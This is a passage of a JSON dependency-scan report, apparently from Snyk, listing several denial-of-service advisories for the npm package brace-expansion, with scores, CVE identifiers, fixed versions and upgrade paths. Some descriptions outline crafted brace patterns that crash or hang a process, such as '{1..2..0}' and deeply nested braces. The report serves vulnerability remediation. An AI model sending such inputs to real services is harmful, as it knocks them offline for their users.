"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
